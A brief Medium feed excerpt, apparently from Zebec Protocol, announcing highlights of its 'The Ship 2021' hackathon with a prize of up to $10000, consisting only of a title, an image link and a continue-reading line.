Zebec’s Hackathon: The Ship 2021 Highlights
https://cdn-images-1.medium.com/max/2480/1*TwN5-xwP5ogLUJb4Hljy4Q.jpeg
Hack with Zebec and Win up to $10000!
Continue reading on Zebec Protocol »